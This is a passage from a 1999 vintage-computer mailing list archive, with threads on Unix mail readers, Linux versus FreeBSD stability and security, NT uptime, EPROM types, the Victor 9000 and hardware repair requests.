From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:12 2005 Subject: ISP mania -- can't change editor References: <199901162108.QAA12179@pechter.nws.net> Message-ID: <36A1B72F.FB9EF063@cnct.com> Bill Pechter wrote: > > > The only mail program I can use in terminal mode with my ISP is PINE. > > I despise it, especially the fewkin editor, PICO, (sumbitch won't let > > me use vi to edit messages). I'm scheduled to get a cablemodem > > installed in three weeks, when _I_ start making those decisions (and > > maybe get a decent newsfeed -- an even bigger gripe I've got with my > > ISP). (Hell, even with Tandy Xenix 15+ years ago, I could set my > > editor for mail's ~v command -- never had to, since vi was my > > preferred editor then and now). > > -- > > > > Geez... just create a pinerc with vi in it. > Hell, compile your own mail reader. > > What's the shell account have in it. What architecture. > I'll compile you something and mail it to you. I've tried editing my pinerc repeatedly, it always seems to be reset the next time I log in. Since I only use that method to read mail when I telnet to my ISP from work, I'm not going to worry about it much longer, since my cablemodem installation is scheduled for Feb 6. After that I should be able to telnet to my Linux system and use whatever I want. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From H.Davies at latrobe.edu.au Sun Jan 17 05:44:43 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901161742.LAA22341@wildride.netads.com> Message-ID: <199901171144.WAA12085@lucifer.its.latrobe.edu.au> At 11:42 16/01/99 -0600, Miles O'Neal wrote: >Of course, it's a good feeling to even have the option. >Because 10 - 12 years ago, what were your UNIX options, if >you weren't the government or a university? Well you could either buy A/UX from Apple or SCO Unix. I looked at both of these for my first Unix system about 10 years ago. In the end I got A/UX as it was a couple of thousand dollars cheaper though I ended up spending about AUD$8000 on the system. Fortunately I got work to buy some of the upgrades (like the $2000 200Mb disk...). I've still got the A/UX box here at home. After I've had fun playing with my new ISDN connection, I might even reconfigure it to be on the Internet again... From foxvideo at wincom.net Sun Jan 17 06:08:14 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:40:12 2005 Subject: OT: humans are the most advanced form of life- Yeah Right!! In-Reply-To: <3.0.1.16.19990115190212.3b675894@intellistar.net> Message-ID: <3.0.5.32.19990117070814.007ae300@mail.wincom.net> At 07:02 PM 1/15/1999, you wrote: >I know this is OT but it's too good to miss! > > Joe > >> >>They have finally been released! For anyone not familiar with the Darwin >>Award: it's an annual honor given to the person who provided the universal >>human gene pool the biggest service by getting killed in the most >>extraordinarily stupid way. As always, competition this year has been keen >>again. Some candidates appear to have trained their whole lives for this >>event! >> > To get Darwin back on topic, has anyone ever became a candidate as a result of computer activities? I once managed to knock an AT off a shelf and caught it with my starboard kneecap. Cheers Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From rigdonj at intellistar.net Sun Jan 17 08:57:46 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:12 2005 Subject: OT: humans are the most advanced form of life- Yeah Right!! In-Reply-To: <3.0.5.32.19990117070814.007ae300@mail.wincom.net> References: <3.0.1.16.19990115190212.3b675894@intellistar.net> Message-ID: <3.0.1.16.19990117085746.30071ed6@intellistar.net> At 07:08 AM 1/17/99 -0500, you wrote: >> > To get Darwin back on topic, has anyone ever became a candidate as a >result of computer activities? > I once managed to knock an AT off a shelf and caught it with my starboard >kneecap. > No, but when I worked for Burroughs one of the idiots that they hired has a field engineer wondered what was inside the bottom of one of the B1700 cabinets. He stuck his arm inside up to the elbow and "found" the large cooling fan with his fingers. Of course he hadn't bothered to turn the b1700 off first so he lost the tips of three fingers! It's a good thing he didn't find the power supply. It was LARGE switcher unit with ~380 volts at a unhealthy amperage. Joe From dogas at leading.net Sun Jan 17 07:40:27 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:12 2005 Subject: older operating systems and... Message-ID: <01be421e$f17e7040$f3c962cf@devlaptop> Anyone remember/use (read as: have a spare copy for...) of Wendin's OS Toolkit. A pc release circa 88 that gave you some building blocks to roll your own os? Thanksly - Mike: dogas@leading.net From bwit at ticnet.com Sun Jan 17 07:37:39 1999 From: bwit at ticnet.com (Bob Withers) Date: Sun Feb 27 18:40:12 2005 Subject: UNIX License plate Message-ID: <01BE41ED.D722F6C0.bwit@ticnet.com> On Saturday, January 16, 1999 3:29 PM, Chuck McManis [SMTP:cmcmanis@freegate.com] wrote: > At 06:36 AM 1/16/99 -0500, you wrote: > >ObCC: Around 1980 or so, I knew somebody with a license plate that said > >"Unix: Live Free or Die". Was this issued by Bell Labs? And who has one > >they'd like to sell? > > The New Hampshire vanity plate (state motto "Live Free or Die") UNIX was > registered to Bill Shannon who worked at Sun (still does actually). Some > vendor did some fake plates for one of the Uniforum conferences but I don't > know if Bill got any royalties :-) I think the vendor that issued these fake plates was DEC. Bob From pechter at monmouth.com Sun Jan 17 08:08:05 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901170021.SAA24420@wildride.netads.com> from Miles O'Neal at "Jan 16, 99 06:21:39 pm" Message-ID: <199901171408.JAA14265@pechter.nws.net> > But both my Linux system and the BSD system at work easily stay > up for months at a time. How many production NT boxes under a > real load will do that? (And of course a decade ago, smarts SAs > tended to reboot UNIX boxes more often than that, anyway.) None. I haven't seen an NT box up for months at a time without a reboot due to something trivial like a network change that can be done with a Unix box without a reboot. > > We're switching to Linux at work only because there's more software > available, and we have more knowledge available for Linux than BSD. Sounds reasonable... I've been using FreeBSD with 6+ months uptime on web servers (only rebooted because of equipment moves in the lab). > > -Miles > Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From pechter at monmouth.com Sun Jan 17 08:13:30 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162259.OAA25788@geocities.com> from Max Eskin at "Jan 16, 99 05:56:33 pm" Message-ID: <199901171413.JAA14321@pechter.nws.net> > > Here's an analogy for you: > > > > Linux = DOS > > FreeBSD = CP/M > > > > Therefore, Linux will come to dominate the world. So don't worry. > > I'm sorry, but I don't know the vital distinction between the two, and > would like to find out. As I understand, Linux is somewhat less secure and > less stable; but what else? And why is Linux less secure/stable? I've run both since FreeBSD 1.0.0 and Linux 0.98. In the early days this was more true than today. My best impression is Linux feels snappier on the desktop with a quicker response under light to medium load. FreeBSD seems to handle heavier loads with less problems. You can really push the load level up on it and still maintain console response and avoid locking it up. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From pechter at monmouth.com Sun Jan 17 08:19:36 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:12 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901162112.NAA18740@oa.ptloma.edu> from Cameron Kaiser at "Jan 16, 99 01:12:57 pm" Message-ID: <199901171419.JAA14373@pechter.nws.net> In a post Cameron Kaiser said: > I'd hate to hear what you have to say about Elm, which is my favourite > mailer. :-) Mine too. But it badly needs to be updated to support metamail and mime message creation from within elm and support stuff like pgp. Elm's still great, but it shows it's age. (This was posted from elm...) Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From pechter at monmouth.com Sun Jan 17 08:21:33 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:12 2005 Subject: ISP mania -- can't change editor In-Reply-To: <36A1B72F.FB9EF063@cnct.com> from Ward Donald Griffiths III at "Jan 17, 99 05:10:55 am" Message-ID: <199901171421.JAA14395@pechter.nws.net> > Bill Pechter wrote: > > > > > The only mail program I can use in terminal mode with my ISP is PINE. > > > I despise it, especially the fewkin editor, PICO, (sumbitch won't let > > > me use vi to edit messages). I'm scheduled to get a cablemodem > > > installed in three weeks, when _I_ start making those decisions (and > > > maybe get a decent newsfeed -- an even bigger gripe I've got with my > > > ISP). (Hell, even with Tandy Xenix 15+ years ago, I could set my > > > editor for mail's ~v command -- never had to, since vi was my > > > preferred editor then and now). I would just write a script or upload my own mail reader. Right now I do all my stuff telnet-ed in to my home machine where I've got elm. The only editor I'd consider using besides vi is edt, or the perhaps more classic jed's wordstar emulation. Bill From erd at infinet.com Sun Jan 17 09:51:14 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:12 2005 Subject: OT: humans are the most advanced form of life- Yeah In-Reply-To: <3.0.1.16.19990117085746.30071ed6@intellistar.net> from "Joe" at Jan 17, 99 08:57:46 am Message-ID: <199901171551.KAA18069@user2.infinet.com> > > At 07:08 AM 1/17/99 -0500, you wrote: > >> > > To get Darwin back on topic, has anyone ever became a candidate as a > >result of computer activities? > > I once managed to knock an AT off a shelf and caught it with my starboard > >kneecap. > > A friend of mine, Chris Liljenstolpe (formerly Swanson for those that might know him from InterOp) earned the nickname "Mr. Safety" by giving a lecture to his volunteers about the importance of not cutting corners on safety then within 24 hours, using an office chair as a step ladder to reach something at the top of a rack, and breaking both arms above the wrist when the chair scooted out from under him. Not Darwin Award material, but nonetheless a stupid, painful move. -ethan From ckaiser at oa.ptloma.edu Sun Jan 17 10:12:07 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:12 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901171419.JAA14373@pechter.nws.net> from "Bill Pechter" at Jan 17, 99 09:19:36 am Message-ID: <199901171612.IAA13386@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/a57e1346/attachment.ksh From allisonp at world.std.com Sun Jan 17 10:12:29 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems Message-ID: <199901171612.AA26617@world.std.com> <> > FreeBSD = Cathedral development <> > Linux = Bazaar development <> > <> > Read "The Cathedral and the Bazaar" by Eric Raymond to understand what <> > mean. Organized with scheduled releases and maintainers vs ad hoc team with frequent builds. is this what were talking about? Also Freebsd is linked to the BSD school of thought VS other more radical factions. From the playing I've done the differences are insignificant and either works assuming it supports the hardware. What's more significant is that linux has Attracted third party vendors producing products that run in that environment. We're switching to Linux at work only because there's more software <> available, and we have more knowledge available for Linux than BSD. < from Allison J Parent at "Jan 17, 99 11:12:36 am" Message-ID: <199901171626.LAA14641@pechter.nws.net> > > Well I have. Current up time for the three NT 3.51 servers I live with > at work is over 6months. We do however have things like memory leaks from > Cold Fusion's OBDC driver that forces the running of a batch job every night > to shut that down and restart the one peice. Often the OS gets blamed for > cranky apps. True. But NT4 put the video driver into the ring 0 level of privs... so it's LESS STABLE. Cutler knew it didn't belong there, but the apps wouldn't perform as well. > > <> We're switching to Linux at work only because there's more software > <> available, and we have more knowledge available for Linux than BSD. > < > > This thread is interesting to me (though OT for Classiccmp) as I plan to > introduce a FreeBSD(or linux, slakware, redhat or debian) and not haveing > much unix expereince it's an interest to me. Well, drop any 386 or 486 in and load 'em both and see what you like. I picked up the Cheapbytes set of Linux stuff (8 cd set around $15) and their xBSD stuff (Net,Free,Open) for 10.00 for the BSD's . > > Personally a VMS node suits my liking. > Mine too, but I haven't gotten all the parts for my VaxStation 3100 yet. I do have accelr8's DCLLite for Linux under FreeBSD now. I'm waiting for FreeVMS folks to start in on kernel building and tools building at a quicker pace. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From tim at thereviewguide.com Sun Jan 17 12:09:46 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:40:12 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) In-Reply-To: <199901160154.TAA19169@wildride.netads.com> References: <199901152332.SAA13138@smtp.interlog.com> from "Lawrence Walker" at Jan 15, 99 04:22:56 pm Message-ID: <199901171708.JAA23314@geocities.com> > The school system's inabaility to deal with anything other > than the mean (which they insist on defining) is one of the > primary reasons home schooling has really taken off the last > few years. It's worse than that. It's not even the mean anymore. It's the lowest student. Personally, I believe that the lowest students whould recieve some of the spotlight. If they don't get attention, they will probably end up not making a living, etc. and will thus hinder society. We need to get these people to where they can work. But let's face it: They won't be rocket scientists, won't win a Field Award or a Nobel Prize, and won't be regarded as a genus of our time. But they'll be working. But I think that more attention should fall on the people who CAN be rocket scientists, Field/Nobel winners, etc., as they can greatly improve everyone's life. Too many have already been ruined by lack of attention. Tim > -Miles ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From ard at p850ug1.demon.co.uk Sun Jan 17 10:07:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: TK50Z-GA EPROM In-Reply-To: <3.0.5.32.19990116232155.00941910@mail.bluefeathertech.com> from "Bruce Lane" at Jan 16, 99 11:21:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 715 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/8d23ecef/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 10:18:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901170831.DAA09717@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 17, 99 03:30:17 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1671 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/c8ea1fdf/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 09:52:54 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Linux vs FreeBSD In-Reply-To: <19990117035913.15332.qmail@brouhaha.com> from "Eric Smith" at Jan 17, 99 03:59:13 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1402 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/84bcc78d/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 10:21:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: OT: humans are the most advanced form of life- Yeah In-Reply-To: <3.0.5.32.19990117070814.007ae300@mail.wincom.net> from "Charles E. Fox" at Jan 17, 99 07:08:14 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 760 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/0220b42e/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 10:32:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901171408.JAA14265@pechter.nws.net> from "Bill Pechter" at Jan 17, 99 09:08:05 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 381 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/26effd1d/attachment.ksh From pete at dunnington.u-net.com Sun Jan 17 11:07:05 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:13 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: Cameron Kaiser "Re: OT? On Programming (was: Re: Computers for children)" (Jan 17, 8:12) References: <199901171612.IAA13386@oa.ptloma.edu> Message-ID: <9901171707.ZM4432@indy.dunnington.u-net.com> On Jan 17, 8:12, Cameron Kaiser wrote: > Subject: Re: OT? On Programming (was: Re: Computers for children) > ::> I'd hate to hear what you have to say about Elm, which is my favourite > ::> mailer. :-) > :: > ::Mine too. But it badly needs to be updated to support metamail and mime > ::message creation from within elm and support stuff like pgp. > > Actually, it does. PL25 ME39 (which comes in the Debian dist, ask me for the > tarball) supports in-process attachments and PGP. And PL25, which is > commonly available, supports MIME through metamail. I've had almost zero exposure to elm, so I'm not in much of a position to comment -- not that that always stops me :-) I'd guess elm (which is what pine was originally based on) is smaller, sleeker, and simpler. Not a bad thing... -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sun Jan 17 11:26:02 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:13 2005 Subject: ISP mania -- can't change editor In-Reply-To: Ward Donald Griffiths III "Re: ISP mania -- can't change editor" (Jan 17, 5:10) References: <199901162108.QAA12179@pechter.nws.net> <36A1B72F.FB9EF063@cnct.com> Message-ID: <9901171726.ZM4449@indy.dunnington.u-net.com> On Jan 17, 5:10, Ward Donald Griffiths III wrote: > I've tried editing my pinerc repeatedly, it always seems to be reset > the next time I log in. One of the features of pine is that there can be several configuration files, including a system-wide one that contains settings which a user can override in ~/.pinerc, and a separate system-wide one which ~/.pinerc *won't* override. The intent is that a sysadmin can set defaults in the first (usually /usr/local/lib/pine.conf), and set fixed values in the second (usually /usr/local/lib/pine.conf.fixed) -- the sorts of things that users shouldn't meddle with, like the name of the server, the mail domain, the operating-dir (which restricts the part of the file structure users can access) or whether they're allowed to forge cancel messages. It sounds like your ISP has a somewhat overzealous sysadmin; perhaps they just copied every setting into pine.conf.fixed. -- Pete Peter Turnbull Dept. of Computer Science University of York From erd at infinet.com Sun Jan 17 13:03:37 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:13 2005 Subject: OT: humans are the most advanced form of life- Yeah In-Reply-To: from "Tony Duell" at Jan 17, 99 04:21:43 pm Message-ID: <199901171903.OAA19441@user2.infinet.com> > > > To get Darwin back on topic, has anyone ever became a candidate as a > > result of computer activities? > I think almost by definition, people who are posting here can't be > candidates for the award, since we're still alive. With one possibility: sterilization by stupididy. After all the Darwin Award is _supposed_ to be for those who have removed themselves from the gene pool. Death is not an absolute requirement, but it is a valid qualification. -ethan From foxnhare at jps.net Sun Jan 17 13:14:00 1999 From: foxnhare at jps.net (Larry Anderson) Date: Sun Feb 27 18:40:13 2005 Subject: victor 9000 (also called Sirius) (fwd) References: <199901170802.AAA23249@lists2.u.washington.edu> Message-ID: <36A23676.13EF9BC9@jps.net> > From: ard@p850ug1.demon.co.uk (Tony Duell) > Subject: Re: victor 9000 (also called Sirius) (fwd) > > > > Here's someone in Belgium wanting to get rid of a Victor 9000. It was an > > early 80's 8086-based machine that came out before the PC but eventually > > was PC-compatible. It was actually a much better machine than the PC and > > had many interesting innovations, but we all know the story. > > Strange machine. It's what you get if you take the CPU from a PC (8088), > add Mac-style variable-speed drives (but 5.25") with a Commodore-like > controller, and then stick on an Apricot-like video system. Keep in mind this was one of Chuck Peddle's creations (along with the 6502 and Commodore PET). > > Interesting features include the sound system (a synchronous serial chip > driving a CODEC chip) which also has a sound input connector, the 2 3-bit > DACs to control monitor brightness and contrast in software, the user > port (a complete 6522 less one pin wired to a 50 pin header inside), the > centronics printer port that can be turned into a GPIB port in software, > the drives/controller, etc. > Sounds cool, maybe one day I'll get one. :) From zmerch at 30below.com Sun Jan 17 13:18:00 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:13 2005 Subject: TK50Z-GA EPROM In-Reply-To: References: <3.0.5.32.19990116232155.00941910@mail.bluefeathertech.com> Message-ID: <3.0.1.32.19990117141800.0090be20@mail.30below.com> Once upon a midnight dreary, Tony Duell had spoken clearly: >The main difference is the power consumption. The CMOS version takes a >much lower supply current (even when selected). > >There may also be differences in the access time (but fast enough CMOS >EPROMs exist) and the programming algorithm (but that only matters to the >programmer). > >They are essentially pin/function compatible. Erm, correct me if I'm wrong ('cause I may very well be) but at least in comparison with 4xxx CMOS vs. 74xx TTL, not only do the require less power to do their job, but they can also *provide* less power on their outputs to other chips' inputs, right? Do CMOS eproms suffer the same limitation? If so, if the bus that the eprom is on is totally unbuffered and trying to feed too many input gates on the bus, a CMOS might not work and may require something non-CMOS; or if all you have is CMOS, you might have to build a daughtercard to fit in the eprom socket with the CMOS eprom & buffers... If not, [obviously] nevermind. ;-) Just a thought, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From ddameron at earthlink.net Sun Jan 17 13:34:15 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:40:13 2005 Subject: Heath H19 Message-ID: <199901171934.LAA12972@swan.prod.itd.earthlink.net> At 04:57 PM 1/16/99 +0000, Tony wrote: >[H19] > >> Yes, I found the manual and there is both an encoder AND a ROM. Seems sort >> of redundant, can only guess why. Many years ago the encoder chip died in >> mine, and I first tried the generic version of the chip, most likely a GI > >Ouch... Something to watch for if mine ever dies... Or the generic replacement was bad, and the Heath one was good, also the generic part? The 2 bad parts are long gone, so I cannot retest them. > >> part. It didn't work, ended up ordering a replacement from Heathkit which >> did work. > >Didn't work at all, or gave you the wrong characters? If the latter, then >maybe reprogramming the ROM would sort it out. The first (original) had no strobe output, so appeared dead. The generic one I don't remember now, but even so, had no provision to program EPROM's then. Later a built a single board Z-80 computer that could copy, edit (HEX) and program 2716's, 2732's and 2764's. It used the H19 as its terminal. Am trying to remember what I used to program its monitor EPROM..."you need to program a EPROM with routines to get your EPROM programmer to run..." I think I found someone with a Cromemco system that could. -Dave From emu at ecubics.com Sun Jan 17 14:00:23 1999 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems Message-ID: <19990117200113.AAA26015@p2350> Hi, ---------- > From: Tony Duell > To: Discussion re-collecting of classic computers > Subject: Re: thoughts on UNIX and older systems > Date: Sunday, January 17, 1999 9:18 AM > > Sure, they're not going > to be secure enough for defense work, Most systems aren't. Not "only" the ones stated before. cheers, emu From gram at cnct.com Sun Jan 17 14:17:47 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:13 2005 Subject: ISP mania -- can't change editor References: <199901162108.QAA12179@pechter.nws.net> <36A1B72F.FB9EF063@cnct.com> <9901171726.ZM4449@indy.dunnington.u-net.com> Message-ID: <36A2456B.A0AD054D@cnct.com> Pete Turnbull wrote: > > On Jan 17, 5:10, Ward Donald Griffiths III wrote: > > > I've tried editing my pinerc repeatedly, it always seems to be reset > > the next time I log in. > > One of the features of pine is that there can be several configuration > files, including a system-wide one that contains settings which a user can > override in ~/.pinerc, and a separate system-wide one which ~/.pinerc > *won't* override. The intent is that a sysadmin can set defaults in the > first (usually /usr/local/lib/pine.conf), and set fixed values in the > second (usually /usr/local/lib/pine.conf.fixed) -- the sorts of things that > users shouldn't meddle with, like the name of the server, the mail domain, > the operating-dir (which restricts the part of the file structure users can > access) or whether they're allowed to forge cancel messages. It sounds > like your ISP has a somewhat overzealous sysadmin; perhaps they just copied > every setting into pine.conf.fixed. Actually, my ISP is a couple of young BCSs who are rather less than competent as system administrators. After the Cablemodem is installed I'll set my email account to forward things, and let the account die a natural death at the end of summer when it's be up for renewal. For instance, many weekends I can only access through the 14.4 lines, the others answer, but the modem servers don't connect to the rest. And this will last _all_ weekend, including both the Christmas and New Year 3-day weekends. And they have never responded to an email in comment. I have offered my services _free_ on several occasions, just to get their systems configured functionally. For instance, the newsfeed is crap. For instance, if I go to comp.sys.tandy, I find a total of 15 (that's fifteen, not a typo) messages dated between last October and last Wednesday. A quick glance at Dejanews would indicate that this is not a high percentage of the traffic. Sampling shows this to be the case across the Usenet structure. And while the newsfeed was nothing spectacular before, the current condition has applied since they switched from an NFS-mounted news directory to an nntp server. Again, no response to comments. I will not miss this ISP. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From cmcmanis at freegate.com Sun Jan 17 14:27:36 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:13 2005 Subject: UNIX License plate In-Reply-To: <01BE41ED.D722F6C0.bwit@ticnet.com> Message-ID: <4.1.19990117122635.009e6240@208.226.86.10> At 07:37 AM 1/17/99 -0600, Bob wrote: >I think the vendor that issued these fake plates was DEC. DEC did indeed issue the FAKE plates, they were based on Bill Shannon's _real_ plate. I believe he still has the registration. --Chuck From adavie at mad.scientist.com Sun Jan 17 14:44:05 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:13 2005 Subject: Old Radios posting - anyone with contact? In-Reply-To: <1999Jan15.132933.1767.181240@smtp.itgonline.com> Message-ID: <000c01be425a$1fb81480$0df438cb@a.davie> Would anyone who has had any contact with the Russian people who recently listed "Old Radios" for sale on this list please contact me privately (adavie@mad.scientist.com). I wish to ask a few questions regarding communications you have received from them. I'm now highly suspicious of these people. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? From healyzh at aracnet.com Sun Jan 17 15:03:06 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: References: <199901170831.DAA09717@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 17, 99 03:30:17 am Message-ID: Tony Duell wrote: >I think it's important to realise that both Linux and FreeBSD are secure >enough and stable enough for most users. Without question. There are no >(AFAIK) gaping security holes in either system. Sure, they're not going >to be secure enough for defense work, but the average user is not going >to be able to trample all over the filesystem if the system is set up right. I can't comment on FreeBSD, as I've never used it (I believe it's about equal to Linux and NetBSD on terms of security). However, I've been using Linux since 0.12, played with NetBSD years ago, and have been running OpenBSD for a couple months now on one of my systems. There is a program called 'saint' which is a offshoot of 'satan' I believe, that you can use to test your systems security. I ran it against my primary Linux box and then ran it against my OpenBSD server. Both running pretty much out of the box, the Linux box was running Red Hat 5.1 and I'd added a lot of stuff, but no real security changes. The OpenBSD box was either 2.3 or 2.4 and totally out of the box. 'saint' found a LOT of problems with Linux including a couple serious ones, there were two warnings on the OpenBSD box, what were they, I had telnet and ftp turned on. Linux on the other hand had all sorts of stuff turned on by default that I didn't need or want, but had just never bothered to turn off. Basically for a day-to-day workstation setup I'll run Linux, but if I want a fairly secure box, I'll run OpenBSD, if I want a really secure box, I'll use VMS. Consider this, I don't really like BSD, and am a major Linux fan! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From cmcmanis at mcmanis.com Sun Jan 17 15:08:03 1999 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <000c01be425a$1fb81480$0df438cb@a.davie> References: <1999Jan15.132933.1767.181240@smtp.itgonline.com> Message-ID: <4.1.19990117130119.0097cf10@208.226.86.10> One of the reasons I want to have a completely spec'd Pentium class computer is to create an archive that will survive a reasonable amount of time (100 years in a time capsule) No doubt this is true elsewhere but some folks and I came up with this idea to create a time capsule of things from the last year before the year 2000 for people to look at in the year 2100. I don't know of any 1899 capsules but they would have been fun to have around as well. The goal then is to encapsulate a PC, with software, that will survive 100 years of storage (probably a helium or argon atmosphere so oxidation won't be a problem). Ideally the machine should be recoverable to the point where you could boot an operating system on it and write a program and run it on it. As this list is full of folks who've dealt with the 'ravages of time' on their collections, I was looking for things to protect against. --Chuck From healyzh at aracnet.com Sun Jan 17 15:05:41 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:13 2005 Subject: TK50Z-GA EPROM In-Reply-To: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> Message-ID: Bruce Lane wrote: >series. They now appear to respond correctly to Linux-issued SCSI tape >drive commands, and I will know shortly if I was successful in writing a >TK50 NetBSD boot tape for the VAXen. OK, the issue of what kind of ROM is getting boring :^) How about the important info, did it work? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dastar at ncal.verio.com Sun Jan 17 15:05:28 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:13 2005 Subject: OT help request: Quantum XP34300 not working Message-ID: OT HELP REQUEST: I've got a Quantum XP34300 hard drive that is giving me grief. It is getting power, it spins up, but it is not being recognized by the SCSI adaptor. I've switched it to a different system with a different adaptor and the same thing happens. On the system its connected to now with a BusLogic adaptor, I switched on the Send Start option and it kicked the drive into operation, but only once. And when the OS loaded (I'm just running DOS) the drives in the drive table showed up as F: and G: but when I accessed F: there were no files (there should be a ton) and when I tried to access G: the computer froze. After that, the drive stopped responding altogether again. Since I have two of these drives my next thought is to swap the logic board on the good one with the flaky one as I really need the data off the flaky one. Any ideas? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From ard at p850ug1.demon.co.uk Sun Jan 17 13:53:31 1999 From: ard 